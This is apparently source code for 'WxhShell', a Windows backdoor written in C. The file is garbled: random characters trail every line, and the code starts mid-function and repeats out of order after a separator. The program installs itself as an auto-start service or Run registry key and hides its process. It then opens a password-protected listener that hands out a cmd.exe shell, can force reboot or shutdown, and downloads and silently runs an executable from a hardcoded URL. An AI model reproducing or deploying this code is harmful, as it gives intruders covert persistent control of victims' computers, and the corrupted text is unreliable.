    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wUKt$_]``  
    if(Boot(SHUTDOWN)) ;8g[y"I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#X>^LH  
    else { q.ZkQN+  
    closesocket(wsh); G2w0r,[  
    ExitThread(0); -u~AY#*  
    } n!h952"  
    break; d,E2l~s  
    } `<(o;*&Gd  
  // 获取shell #{5h6IC  
  case 's': { AZva  
    CmdShell(wsh); [/U5M>#n  
    closesocket(wsh); (p(-E  
    ExitThread(0); FL[w\&fp  
    break; Z b:S IJ  
  } ]%Lk#BA@A  
  // 退出 KqvM5$3  
  case 'x': { "ZP)[ [Rd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R'$1,ie  
    CloseIt(wsh); rw%OA4>  
    break; H8h,JBg5<F  
    } p4@0Dz`Q  
  // 离开 ;CDa*(e  
  case 'q': { ~ep^S^V+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `=E4J2"  
    closesocket(wsh); vz^=o'  
    WSACleanup(); zKFiCP K  
    exit(1); ntn ~=oL  
    break; nG7E j#1  
        } <x1,4a~  
  } #YK=e&da  
  } Rts.jm>[  
p~z\&&0U0  
  // 提示信息 GRAPv|u9[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -# /'^O +%  
} : 2A\X' @  
  } ~vKDB$2  
/;WFRp.  
  return; $?y\3GX  
} uo3o[ H&#  
V Ku|=m2vB  
// shell模块句柄 USV;j%U4*  
int CmdShell(SOCKET sock) a 1~@m[  
{ b$Q#Fv&P  
STARTUPINFO si; __i))2  
ZeroMemory(&si,sizeof(si)); W.> }5uVl6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vo9Fl Yj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8*EqG5OP  
PROCESS_INFORMATION ProcessInfo; K<p)-q  
char cmdline[]="cmd"; ! _?#f|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6t'vzcQs  
  return 0; R]NCD*~  
} +@MG$*}Oz  
FrhI [D  
// 自身启动模式 %8lWJwb7u  
int StartFromService(void) |z`AIScT  
{ }*VRj;ff  
typedef struct t]+h.  
{ vlPViHF.  
  DWORD ExitStatus; UxvT|~"  
  DWORD PebBaseAddress; 41c4Xj?'  
  DWORD AffinityMask; cD9.L  
  DWORD BasePriority; qjH/E6GGg  
  ULONG UniqueProcessId; \;0UP+  
  ULONG InheritedFromUniqueProcessId; }T"&4Rvs2R  
}   PROCESS_BASIC_INFORMATION; v\-7sgZR  
KA elq*  
PROCNTQSIP NtQueryInformationProcess; V-lp';bD  
Mc 6v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I]Vkaf I>(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <1E5[9 q  
_@O.EksY3r  
  HANDLE             hProcess; @UW*o&pGqL  
  PROCESS_BASIC_INFORMATION pbi; 4d%QJ7y  
@|fT%Rwho<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !DXK\,;>  
  if(NULL == hInst ) return 0; 5 &s<&h  
*_eY +\j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XyD*V;.E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ha~} NO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R@2*Lgxz~  
s[}cj+0  
  if (!NtQueryInformationProcess) return 0; afye$$X  
( \7Yo^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hzrS_v  
  if(!hProcess) return 0; 14yzGhA  
{$'oKJy*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dyt.( 2  
)pw53,7>aN  
  CloseHandle(hProcess); uwu`ms7z 2  
`}#n#C)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }h=3[pe}  
if(hProcess==NULL) return 0; 4x_# 1 -  
u=ZZ;%Rvd  
HMODULE hMod; xvW# ~T]  
char procName[255]; PF:'dv  
unsigned long cbNeeded; %Ktlez:S  
]?s^{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s:^Xtox /  
MG4(,"c!  
  CloseHandle(hProcess); 6eW9+5oL  
Z"E2ZSa0  
if(strstr(procName,"services")) return 1; // 以服务启动 c@{M),C~E  
IaGF{O3.  
  return 0; // 注册表启动 59k-,lyU,  
} TJs~}&L  
{#&jW  
// 主模块 gk4DoOj#P  
int StartWxhshell(LPSTR lpCmdLine) .}3K9.hkr  
{ :CG;:( |  
  SOCKET wsl; 43N=O FU  
BOOL val=TRUE; kV$VKag*A  
  int port=0; DhT8Kh{  
  struct sockaddr_in door; -{ Fy@$!  
#z9@x}p5g  
  if(wscfg.ws_autoins) Install(); 1V ; ,ZGI*  
]9~6lx3/  
port=atoi(lpCmdLine); ^2uT!<2  
%RXFgm!{f  
if(port<=0) port=wscfg.ws_port; @WP%kX.?  
92M_Z1_w[  
  WSADATA data; v.Xmrry  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wZ/ b;%I!  
[#/@ v/`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qIk( ei  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iH)-8Q  
  door.sin_family = AF_INET; 1p(9hVA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n@9R|biO  
  door.sin_port = htons(port); z`Xc] cPi  
_OJ19Ry  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0-8'. C1v  
closesocket(wsl); xcQ:&q  
return 1; ^'$P[  
} |/;X -+f8  
"PC9[i  
  if(listen(wsl,2) == INVALID_SOCKET) { y@\J7 h:  
closesocket(wsl); 2UEjn>2  
return 1; VP:9&?>G  
} [\.@,Y0j  
  Wxhshell(wsl); n4 J*04K  
  WSACleanup(); G/&Wc2k  
6Wc.iomx8  
return 0; pt~b=+bBm  
gU@BEn}  
} z=K hbh  
%Sw hNn  
// 以NT服务方式启动 ]SNcL[U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =B"^#n ;  
{ rF=\H3`p3  
DWORD   status = 0; Hq "l`  
  DWORD   specificError = 0xfffffff; :xsNn55b  
ihopQb+k^m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D@yu2}F{IY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YbuS[l8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F^X:5g~K  
  serviceStatus.dwWin32ExitCode     = 0; &U y Q<O>  
  serviceStatus.dwServiceSpecificExitCode = 0; I5w> *F   
  serviceStatus.dwCheckPoint       = 0; zE]h]$oi  
  serviceStatus.dwWaitHint       = 0; =Y-mc#{8  
1IWP~G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =yLJGNK[  
  if (hServiceStatusHandle==0) return; Ypw:Vp  
jC L 1Bj  
status = GetLastError(); <xr\1VjA  
  if (status!=NO_ERROR) N m@UM*D  
{ $@<cZ4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pa */&WeB  
    serviceStatus.dwCheckPoint       = 0; ~A-D>.ZH  
    serviceStatus.dwWaitHint       = 0; fnn /akGKI  
    serviceStatus.dwWin32ExitCode     = status; ;g_<i_ *x#  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7SjWofv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `r*bG=  
    return; ] F2{:RW  
  } ]McDN[h:  
g5~wdhpb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u51Lp  
  serviceStatus.dwCheckPoint       = 0; 7/6%92T/B  
  serviceStatus.dwWaitHint       = 0; nSB@xP#&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JI|MR#_u  
} td(4Fw||1y  
]BY<D`$$P  
// 处理NT服务事件,比如:启动、停止 ;<nQl,2N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n{xL1A=9  
{ ;7N~d TBQ  
switch(fdwControl) "$PX [:  
{ @JpkG%eK  
case SERVICE_CONTROL_STOP: E>k!d'+tb  
  serviceStatus.dwWin32ExitCode = 0; *[b22a4H(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .@3bz  
  serviceStatus.dwCheckPoint   = 0; 9AHxa  
  serviceStatus.dwWaitHint     = 0; :U/x(  
  { i E)Fo.H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q a3+9  
  } D@o8Gerq~  
  return; '*n2<y  
case SERVICE_CONTROL_PAUSE: )jed@?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yo_;j@BGR  
  break;  4,?ZNyl  
case SERVICE_CONTROL_CONTINUE: n@y*~sG]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }TwSSF|}3  
  break; vs(x;zpJ  
case SERVICE_CONTROL_INTERROGATE: Hjc *W Tu  
  break; cUc:^wvLS  
}; QZamf lk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .?*TU~S  
} s?_H<u  
Z,5B(Xj  
// 标准应用程序主函数 Jn)DZv8?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6G]hs gro  
{ c^`(5}39v  
w4j,t  
// 获取操作系统版本 NLF6O9  
OsIsNt=GetOsVer();  g\=e86  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PR~9*#"v..  
s)j3+@:#  
  // 从命令行安装 E  *{_=pX  
  if(strpbrk(lpCmdLine,"iI")) Install(); )1o<}7  
>IE`, fe  
  // 下载执行文件 do=s=&T  
if(wscfg.ws_downexe) { HiT j-O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) > PONu]^  
  WinExec(wscfg.ws_filenam,SW_HIDE); esK0H<]  
} Ygfv?  
+~eybm;  
if(!OsIsNt) { n ?+dX^j  
// 如果时win9x,隐藏进程并且设置为注册表启动 f%Vdao[  
HideProc(); ;B6m;[M+  
StartWxhshell(lpCmdLine); Pm!/#PtX  
} %)!b254  
else 1eMz"@ Q9  
  if(StartFromService()) >PoVK{&y  
  // 以服务方式启动 qfsu# R  
  StartServiceCtrlDispatcher(DispatchTable); RzN9pAe  
else ?$Ii_.  
  // 普通方式启动 zM!2JC  
  StartWxhshell(lpCmdLine); -VkPy<)  
v `7`'  
return 0; N_| '`]D  
} )@a_|q@V  
x0$#8  
]]8^j='P'  
W^N|+$g>H  
=========================================== j xTYW)E   
{q|Om?@  
J:oAzBFpA  
a474[?  
,'>O#kD  
p@jwHlX  
" WC`x^HI  
:XeRc"m<  
#include <stdio.h> Tb<}GcwJ  
#include <string.h> w^8i!jCy  
#include <windows.h> fe!{vrS  
#include <winsock2.h> ayh= @7*  
#include <winsvc.h> vw[i.af  
#include <urlmon.h> D=:O ^<  
j/uu&\e  
#pragma comment (lib, "Ws2_32.lib") Qs7*_=+h  
#pragma comment (lib, "urlmon.lib") Rxk0^d:sNi  
G'f5MP 1  
#define MAX_USER   100 // 最大客户端连接数 C}Ucyzfr,p  
#define BUF_SOCK   200 // sock buffer .+$ox-EK8  
#define KEY_BUFF   255 // 输入 buffer J ` KyS  
^Rc*X'Iz(!  
#define REBOOT     0   // 重启 ~9DD=5\  
#define SHUTDOWN   1   // 关机 SCo;Ek  
(.N!(;G  
#define DEF_PORT   5000 // 监听端口 EiCEB;*z|d  
>S'IrnH'!  
#define REG_LEN     16   // 注册表键长度 S0mzDLgE  
#define SVC_LEN     80   // NT服务名长度 T1WH  
i16kPU  
// 从dll定义API YK%rTbB(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,#Mt10e{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `e^sQ>rDI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $ uqB.f$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dBEm7.nh  
!?5YXI,  
// wxhshell配置信息 M}x]\#MMY  
struct WSCFG { @"__2\ 0  
  int ws_port;         // 监听端口 R(on[g_1  
  char ws_passstr[REG_LEN]; // 口令 ,f^ ICM  
  int ws_autoins;       // 安装标记, 1=yes 0=no rWNywxnT  
  char ws_regname[REG_LEN]; // 注册表键名 a<CACWsN.T  
  char ws_svcname[REG_LEN]; // 服务名 5`p>BJ+n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f_'8l2jK1i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <#~n5W{l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *^[j6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V?&P).5)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g[$4a4X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^/fasl$#  
Usq.'y/ o  
}; <BjrW]pM  
][`%vj9r  
// default Wxhshell configuration E_T!|Q.  
struct WSCFG wscfg={DEF_PORT, @^Yr=d ba  
    "xuhuanlingzhe", a9y+FCA  
    1, \@m^w"Ij  
    "Wxhshell", :s>x~t8g#n  
    "Wxhshell", C@{-$z)  
            "WxhShell Service", ]8CgHT[^7  
    "Wrsky Windows CmdShell Service", qrufnu5cC  
    "Please Input Your Password: ", HMmB90P`  
  1, iB#*XJ;q  
  "http://www.wrsky.com/wxhshell.exe", lb\VQZp!y  
  "Wxhshell.exe" .JX9(#Uk  
    }; D hD^w;f]  
D";@)\jN  
// 消息定义模块 ?}"39n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ' wni.E&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h&2l0 |8k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fs0EbVDF  
char *msg_ws_ext="\n\rExit."; vX|5*T`(  
char *msg_ws_end="\n\rQuit."; \gR%PN  
char *msg_ws_boot="\n\rReboot..."; v"-K-AQjB  
char *msg_ws_poff="\n\rShutdown..."; -{A*`.[v  
char *msg_ws_down="\n\rSave to "; +aOQ'*g  
p} {H%L  
char *msg_ws_err="\n\rErr!"; (!%9#  
char *msg_ws_ok="\n\rOK!"; 9PdD=9HH  
tn}MKo  
char ExeFile[MAX_PATH]; .zv BV_I  
int nUser = 0; 8p_6RvG  
HANDLE handles[MAX_USER]; q5{h@}|M  
int OsIsNt; + f,Kt9Cy  
2]=`^rC*  
SERVICE_STATUS       serviceStatus; n+S&[Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `#"xgOSP>  
v?0F  
// 函数声明 xSq{pxX  
int Install(void); Z):Nd9  
int Uninstall(void); }CL7h;5N 3  
int DownloadFile(char *sURL, SOCKET wsh); g cb6*@u!  
int Boot(int flag); qKTzigjj  
void HideProc(void); F}?4h Dt  
int GetOsVer(void); yt<h!k$ _P  
int Wxhshell(SOCKET wsl); xJ9aFpTC  
void TalkWithClient(void *cs); LkXho>y  
int CmdShell(SOCKET sock); Lg{M<Q)4  
int StartFromService(void); }:57Ym)7w  
int StartWxhshell(LPSTR lpCmdLine); 7 j6<  
yM Xf&$C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u9fJ:a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y/+ IPR  
Q89fXi0Ivb  
// 数据结构和表定义 Z)md]Twt  
SERVICE_TABLE_ENTRY DispatchTable[] = \/ ipYc  
{ }$i/4?dYsQ  
{wscfg.ws_svcname, NTServiceMain}, 9}5o> iR  
{NULL, NULL} VS>xvF  
}; 1!NrndJI  
}=Ul8 <  
// 自我安装 ~G 3txd  
int Install(void) 9BAvE\o0  
{ 8N \<o7t%  
  char svExeFile[MAX_PATH]; i` Q&5KL  
  HKEY key; SEVB.;  
  strcpy(svExeFile,ExeFile); ~LQzt@G4  
+lxjuEiae  
// 如果是win9x系统,修改注册表设为自启动 OX%#8Lx  
if(!OsIsNt) { k-^le|n9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AEkjyh\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )qe rA  
  RegCloseKey(key); y%?'<j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'q?Y5@s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); voQJ!h1  
  RegCloseKey(key); `aTw!QBfG  
  return 0; #nw+U+qL  
    } h'?v(k!  
  } <Zvvx  
} @S:T8 *~}  
else { FbRGfHL[  
#k?.dWZ!  
// 如果是NT以上系统,安装为系统服务 \&b 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `QtkC>[  
if (schSCManager!=0) +P8CC fPu  
{ /l_u $"  
  SC_HANDLE schService = CreateService -K3d u&j  
  ( "$pbK:  
  schSCManager, u`D _  
  wscfg.ws_svcname, d::9,~  
  wscfg.ws_svcdisp, OTl9MwW  
  SERVICE_ALL_ACCESS, .>z1BP:(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YgdQC(ib  
  SERVICE_AUTO_START, ?5J>]: +ZZ  
  SERVICE_ERROR_NORMAL, "YaT1` Kr  
  svExeFile, t<ZBp0  
  NULL, {xeJO:M3/  
  NULL, wl&T9O;?  
  NULL, Qj|rNeM_  
  NULL, zw+RDo  
  NULL M\-[C!h,  
  ); b3FKDm[  
  if (schService!=0) &,yF{9$G  
  { C+g}+  
  CloseServiceHandle(schService); ~(8fUob  
  CloseServiceHandle(schSCManager); >lKu[nq;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d%.|MAE  
  strcat(svExeFile,wscfg.ws_svcname); E- [Eg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V:>r6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0N~kq-6.\  
  RegCloseKey(key); X</Sl>[8  
  return 0; ul#y'iY]  
    } +80bG(I_  
  } ;0Q" [[J  
  CloseServiceHandle(schSCManager); ,n[<[tkCR  
} *5 .wwV  
} NyT%S?@y<  
@HPr;m!  
return 1; OTE,OCB[  
} :P/VBXh  
PpKjjA<  
// 自我卸载 zyhM*eM.7  
int Uninstall(void) ]A5Y/dd  
{ (qvH=VTwP  
  HKEY key; jXLd#6  
BGxwPJd  
if(!OsIsNt) { ;mT}Q;F#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q/@+.q  
  RegDeleteValue(key,wscfg.ws_regname); $}{[_2  
  RegCloseKey(key); ^ghYi|kQq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n~]"sTC}&  
  RegDeleteValue(key,wscfg.ws_regname); &bz% @p;  
  RegCloseKey(key); }Nd1'BVf  
  return 0; >}\s-/  
  } kmX9)TMVO  
} 2]I l:>n,  
} tcT =a@  
else { '(rD8 pc  
R~T}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _dRB=bl"O  
if (schSCManager!=0) VnVBA-#r|  
{ G{]RC^Zo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jx~H4y=z  
  if (schService!=0) .|^Gde  
  { ,dR.Sac v  
  if(DeleteService(schService)!=0) { |Q%P4S"B?  
  CloseServiceHandle(schService); V:'F_/&X?  
  CloseServiceHandle(schSCManager); q)L4*O  
  return 0; *Z^`H!&  
  } A&)2m  
  CloseServiceHandle(schService); cM3B5Lp  
  } Q"C*j'n   
  CloseServiceHandle(schSCManager); C1e@{>  
} ]95VM yN  
} `BKb60  
; cvMNU$fN  
return 1; | bRU=dg  
} bj}Lxc],  
RrvC}9ar  
// 从指定url下载文件 IHdA2d?.]  
int DownloadFile(char *sURL, SOCKET wsh) Vy I\Jmr  
{ bsDA&~)s  
  HRESULT hr; ((+XzV>  
char seps[]= "/"; E I(e3  
char *token; n"T ^  
char *file; tp}/>gU!  
char myURL[MAX_PATH]; JJ7A` ;  
char myFILE[MAX_PATH]; 9Y'pT.Gy b  
EW(bM^dk}  
strcpy(myURL,sURL); d\nXK#)Q  
  token=strtok(myURL,seps); vReX7  
  while(token!=NULL) N-?5[T"  
  { +T@BOYhgq  
    file=token; D<d, 9S,)  
  token=strtok(NULL,seps); 8 5X}CCQ  
  } lUB?eQuN_  
&`@YdZtd"  
GetCurrentDirectory(MAX_PATH,myFILE); u+r!;-0i  
strcat(myFILE, "\\"); Ao8ua|:  
strcat(myFILE, file); babL.Ua8o  
  send(wsh,myFILE,strlen(myFILE),0); :\P@c(c{^C  
send(wsh,"...",3,0); 8 E\zjT!#\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l;0([_>*j  
  if(hr==S_OK) CTW\Dt5  
return 0; i7-~"g  
else 'z5jnI  
return 1;  e|!'  
S xJ&5q  
} fMg9h9U  
dh7`eAMY   
// 系统电源模块 NGSts\D'}  
int Boot(int flag) d/ ^IL*O  
{ /]3[|  
  HANDLE hToken; QR#>Ws  
  TOKEN_PRIVILEGES tkp; K~vJ/9"|R  
t_jn-Idcf  
  if(OsIsNt) { Rtz~:v%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qsp.`9!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F-wAQ:  
    tkp.PrivilegeCount = 1; Au'y(KB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %rG4X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cyJ{AS+  
if(flag==REBOOT) { vvv'!\'#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v,ZYh w  
  return 0; d-B+s%>D  
} m6mGcbpn  
else { m%`YAD@2z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jeWv~JA%L|  
  return 0; &|{1Ws  
} rZ `1G  
  } ih".y3  
  else { ^#<L!yo^  
if(flag==REBOOT) { {\D &*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7-K8u  
  return 0; mG\QF0h  
} iVn4eLK^v  
else { JkJ @bh Eu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `^SRg_rH=`  
  return 0; |T""v_q  
} 'JMW.;Lh?X  
} *^|\#UIk  
g,._3.D  
return 1; YUEyGhkMV{  
} ESRj<p%W  
U_"!\lI_yg  
// win9x进程隐藏模块 ZQE1]ht  
void HideProc(void) FSA%,b; U  
{ vd[7Pxe  
'_G\_h}5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q k^FyZ<  
  if ( hKernel != NULL ) I;t@wbY,  
  { tJ6@Ot  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J;>epM ;*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .@,t}:lD  
    FreeLibrary(hKernel); d#0:U Y%~  
  } z9ADF(J?0'  
dR]-R/1|  
return; kP%hgZ  
} UA8hYWRP  
Q 84t=  
// 获取操作系统版本 (p%|F`  
int GetOsVer(void) pz /[ ${X  
{ z)^|.  
  OSVERSIONINFO winfo; 2/*u$~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ":udoVS!  
  GetVersionEx(&winfo); N x&/p$d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~|} ]  
  return 1; ^f! M"@  
  else 9O3#d  
  return 0; m>vwpRBOA  
} .Z [4:TS  
R|C`  
// 客户端句柄模块 +<1 |apS1  
int Wxhshell(SOCKET wsl) mF;mJq<d  
{ h+1|.d  
  SOCKET wsh; skcyLIb  
  struct sockaddr_in client; `MSig)V  
  DWORD myID; cuQ!"iH  
&!CVF  
  while(nUser<MAX_USER) 754MQK|g  
{ /9R0}4i7  
  int nSize=sizeof(client); M(I%y0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X vaIOt>A  
  if(wsh==INVALID_SOCKET) return 1; }i~k:kmV  
1<BKTMBq?{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dds-;9  
if(handles[nUser]==0) K'ZNIRr/ C  
  closesocket(wsh); !vgY3S0?rq  
else ;0 B1P|7zK  
  nUser++; _&/`-"3y  
  } /^.S nqk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  8${n}}  
;-Yvi,sS+  
  return 0; TWpw/osW  
} U.<j2K um  
S/`#6  
// 关闭 socket ez'NHodwk2  
void CloseIt(SOCKET wsh) MV"n{1B  
{ d%8n   
closesocket(wsh); d-~V.  
nUser--; srv4kodj  
ExitThread(0); G JRl{Y  
} S1|u@d'  
`yv?PlKL  
// 客户端请求句柄 2PlhnUQ7  
void TalkWithClient(void *cs) u8zL[] >  
{ ;l*%IMB  
+\T8`iCFB  
  SOCKET wsh=(SOCKET)cs; 3<^Up1CaZ  
  char pwd[SVC_LEN]; xQFY/Z  
  char cmd[KEY_BUFF]; {^dq7!  
char chr[1]; U4!KO;Jc  
int i,j; x fb .Z(  
G+<XYkz*  
  while (nUser < MAX_USER) { 0*XsAz1,9  
"'z}oS  
if(wscfg.ws_passstr) { Fe0M2%e;|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *-9i<@|(U^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q2EDrZ  
  //ZeroMemory(pwd,KEY_BUFF); F=Bdgg9s  
      i=0; @Y/&qpo$#W  
  while(i<SVC_LEN) { 2#.s{Bv  
%P0  
  // 设置超时 0&,D&y%  
  fd_set FdRead; hQ@k|3=Re  
  struct timeval TimeOut; t.9s49P  
  FD_ZERO(&FdRead); (.:*GUg  
  FD_SET(wsh,&FdRead); A]|w1nq  
  TimeOut.tv_sec=8; O-V|=t  
  TimeOut.tv_usec=0; DPT6]pl"y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sjyr9AF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K KB+o)*W  
6MVu"0#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vS8& ,wJ!  
  pwd=chr[0]; 7%  D4  
  if(chr[0]==0xd || chr[0]==0xa) { B"_O!  
  pwd=0; =5\*Zh1  
  break; >Q/;0>V  
  } 1#=9DD$4  
  i++; h <4`|Bg+  
    } /i,n75/y?  
X}Oe'y  
  // 如果是非法用户,关闭 socket "QnYT3[l"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c~vhkRA  
} \n[kzi7  
VCWW(Y1Fd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >aAM&4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $+Ze"E  
Lk !)G'42  
while(1) { -V}oFxk]q  
+aOdaNcI  
  ZeroMemory(cmd,KEY_BUFF); %LrOGr  
BY~Tc5  
      // 自动支持客户端 telnet标准   vIRT$W' O}  
  j=0; fxd+0R;f  
  while(j<KEY_BUFF) { '[WL8,.Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z5v dH5?!r  
  cmd[j]=chr[0]; vxmX5.  
  if(chr[0]==0xa || chr[0]==0xd) { -0^]:  
  cmd[j]=0; VM%g QOo<  
  break; t+U.4mS-  
  } KZ%i&w#<  
  j++; |]9@JdmV  
    } r? /Uu &  
{U;yW)  
  // 下载文件 x-[ItJ% l  
  if(strstr(cmd,"http://")) { to?!qxn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1 sHjM %  
  if(DownloadFile(cmd,wsh)) mXz*Gi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9`#p/V  
  else uHKEt[PS$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OyO]; Yk  
  } zP,r,ok7  
  else { R;!,(l  
!mxH/{+|n  
